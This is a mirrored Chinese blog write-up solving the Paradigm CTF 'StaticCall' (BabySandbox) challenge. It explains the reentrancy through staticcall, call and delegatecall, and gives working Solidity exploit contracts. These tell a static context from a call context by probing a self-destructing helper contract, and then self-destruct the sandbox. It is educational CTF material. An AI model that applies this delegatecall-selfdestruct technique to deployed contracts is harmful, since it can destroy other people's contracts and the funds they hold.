1

Paradigm CTF-StaticCall

 2 years ago
source link: https://learnblockchain.cn/article/2705
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Paradigm CTF-StaticCall

本题目是Paradigm的CTF系列中的一道,属于较为简单的题目。它主要考察了StaticCall这一知识点。

Paradigm CTF-StaticCall

本题目是Paradigm的CTF系列中的一道,属于较为简单的题目。它主要考察了StaticCall这一知识点。

目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 🐟 。如果你觉得我写的还不错,可以加我的微信:woodward1993

题目介绍:

image20210705200543555.png

简单来讲,就是将合约babysandbox销毁掉,从而满足:extcodesize(sload(sandbox.slot)==0这一条件。🐟

合约分析:

本题目一共就两个合约,一个setup和一个babysandbox. 比上道题目代理合约要简单不少。

  • setup合约:给出一个判据,即extcodesize(sload(sandbox.slot)==0,来判断是否完成挑战

  • babysandbox合约:只有一个方法,run(address),这个方法有如下特点:

    🚩没有nonReentrancy修饰符,可以重进入

    🚩合约中存在delegateCall,staticCall,call,且合约的主要逻辑也是通过delegateCall,staticCall,call来实现的

逻辑分析:

这道题目的逻辑分析跟上次做的ParadigmCTF-Bank非常相似,Bank那道题目也是存在重进入位点,并且重进入位点都有各自的限制,并每处修改的状态也不一样。故这次我们可以借用相同的逻辑,来分析本题的远程调用位点和各自的限制等。

远程调用位点 限制 状态改变 delegatecall(code) msg.sender==address(this) 0=>revert,1=>return staticcall(address()) NA 0=>revert call(address()) NA 0=>codecopy,1=>return

⏩从前向后分析:

简单看,我们的外部合约通过调用exploit()方法,调用babysandbox.run(code)方法,并将外部合约的地址作为参数传入。根据如下流程图,首先会判断msg.sender == address(this),即判断是否为合约自身调用。由于我们是外部调用该合约,故此时的msg.sender是code合约地址,判断为否。然后进入staticcall(address(this))部分,它重进入自己的合约内,再次调用babysandbox.run(code)方法。此时需注意,由于是重进入,故此时的msg.senderaddress(this)相等。故经过判定,会进入到delegatecall(code)的逻辑中。在delegatecall(code)逻辑中,实际上是调用调用外部合约code的fallback()方法,注意此时为staticcall的调用环境,故此时应该让其直接返回success即可。staticcall(address(this))通过后,会进入call(address(this))调用,同样的参数,同样的逻辑过程。只是需要在code.fallback()函数中,不直接返回,而是执行selfdestruct(tx.origin)来销毁babysandbox合约。

st=>start: code.exploit()
op=>operation: babysandbox.run(code)
delegate=>operation: delegatecall(code)
static=>operation: staticcall or call(address(this))
fallback=>operation: code.fallback()
selfdestruct=>operation: selfdestruct()
cond=>condition: msg.sender == address(this)
cond2=>condition: success?
cond3=>condition: staticcall or call
e=>end: revert
revert=>end: revert
return=>operation: return
call=>operation: call(address(this))

st->op->cond
cond(yes)->delegate
cond(no)->static
static->op
delegate->fallback
fallback->cond3
cond3(yes)->cond2
cond3(no)->selfdestruct->cond2
cond2(yes)->return
cond2(no)->revert

image20210706094330303.png

🐱注意点1:对于call调用的参数理解

call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
=> 
gas 数量= 0x4000
目标地址: babysandbox合约地址
参数:为内存中MEM[0x00:0x00+calldatasize()],即外部调用时的calldata
返回值拷贝0

结合上篇文章对于CALL这一OPCODE的分析,可以知道它实际上是将原先的外部调用的calldata重新再次调用。实际上是重进入。

🐱注意点2:对于delegatecall调用的理解

由于在执行code.fallback()时,是在delegatecall的上下文环境下执行。故需要注意delegatecall的特点,即内存和存储都是本地合约,代码是远程合约。在写fallback()时,要注意读取参数时的上下文环境。

⏩整理成调用栈

故我们将上述流程图,整理成调用栈为:

code.exploit()
	->babysandbox.run(code)
		->babysandbox.staticcall(address(this))
			->babysandbox.run(code)
				->babysandbox.delegatecall(code)
					->code.fallback()
						return //满足staticcall的要求,不能改变任何地址,合约的状态
		->babysandbox.call(address(this))
			->babysandbox.run(code)
				->babysandbox.delegatecall(code)
					->code.fallback()
						selfdestruct //满足题目要求,让babysandbox合约自毁

此时,我们发现问题的关键在于code.fallback()方法,其需要在staticcall和call中执行不同的逻辑。我们可以写出如下的伪代码:

pragma solidity 0.7.0;
import "./Setup.sol";
contract CODE1 {
    Setup public setup;
    BabySandbox public babysandbox;
    constructor(address _setup) public {
        setup = Setup(_setup);
        babysandbox = setup.sandbox();
    }
    fallback() external payable{
        
        if (something) {
            return;
        } else {
           	selfdestruct(tx.origin);
        }
    }
    function exploit() public {
        babysandbox.run(address(this));
    }
}

问题简化:

此时,问题转化为,如何让我们的fallback函数能够判断它是由call调用还是staticcall调用?

当然,结合我们之前的经验,要使得同一个函数在不同调用中展示不同的逻辑,我们可以有如下三个方法:

思路1:全局变量

使用全局变量,每一次调用时,根据条件更改一个全局变量的值。下次调用时,根据全局变量的值,来执行不同的逻辑。典型的利用如Paradigm CTF-银行中提到的:这里的reentry就是一个全局变量,初始化时将其设置为1,展示逻辑1,同时在逻辑1中更改其值,然后再重进入该合约,执行不同的逻辑。然而在staticcall的上下文环境中,不允许修改状态,不允许更改全局变量的值。故此方法无法使用。

uint reentry = 1;
function balanceOf(address who) public returns (uint){
        // withdrawToken 1  [0, 1]
        // closeAcc         [0, 0]
        // depositToken 1  [0, 1]
        // closeAcc         [0, 0]
        // depositToken 2  [1, 0]
        // withdrawToken 2  [0, -1]
        if (reentry == 1) {
            reentry = 0;
            Bank(bank).closeLastAccount();
            reentry = 2;
            Bank(bank).depositToken(0, address(this), 0);
        } else if (reentry == 2) {
            Bank(bank).closeLastAccount();
            reentry = 0;
        } 
        return 0;
        

    }

思路2:Gas数量

根据剩余的Gas来判断。此时我们观察到他的执行顺序是先执行staticcall再执行call,故如果我们通过判断gasleft(),gas量多的为第一次执行,即staticcall,gas量少的为第二次执行,即call

fallback() external payable{
        
    if (gasleft() > _value) {
        return;
    } else {
        selfdestruct(tx.origin);
    }
}

但是在本题目中,它通过设定每次调用的gas总量堵死了该判断方式。无论在staticcall还是call,它每次调用的gas总量都是0x4000.

思路3:staticcall与call本质区别

通过EIP-214得知,staticcall的本质是严禁修改任何地址,合约的状态,即不允许使用create,create2,LOG0-4,sstore,selfdestruct等OPCODE以及ETH的转账。而call则允许状态修改。故而,我们可以利用这一点,通过在上下文环境中,call一个外部地址的方法,该方法会修改状态。这里利用的是CALL这一OPCODE的返回值,如果CALL远程地址的过程中,遇到了REVERT,其并不会整个全部REVERT,而是标记返回值为0。如果CALL远程地址成功,则标记返回值为1。

μs′​[0]≡x

如果执行过程中,遇到异常停顿,如REVERT,或者没有足够的ETH,或者栈深度超过1024,返回值X=0, 否则执行成功,返回值X=1

pragma solidity 0.7.0;
import "./Setup.sol";
contract CODE3 {
    Setup public setup;
    BabySandbox public babysandbox;
    constructor(address _setup) public {
        setup = Setup(_setup);
        babysandbox = setup.sandbox();
    }
    fallback() external payable{
        bool flag;
        assembly{
            let code2_addr := 0x5e17b14ADd6c386305A32928F985b29bbA34Eff5 //部署CODE2后的地址
            flag := call(gas(),code2_addr,0,0,0,0,0)
        }
        if (!flag) {
            return;
        } else {
            selfdestruct(tx.origin);
        }
    }
    function exploit() public {
        babysandbox.run(address(this));
    }
}
contract CODE2 { //部署CODE2后的地址为:0x5e17b14ADd6c386305A32928F985b29bbA34Eff5
    fallback() external payable{
        selfdestruct(tx.origin);
    }
}

本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 21小时前
  • 阅读 ( 46 )
  • 学分 ( 6 )
  • 分类:智能合约

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK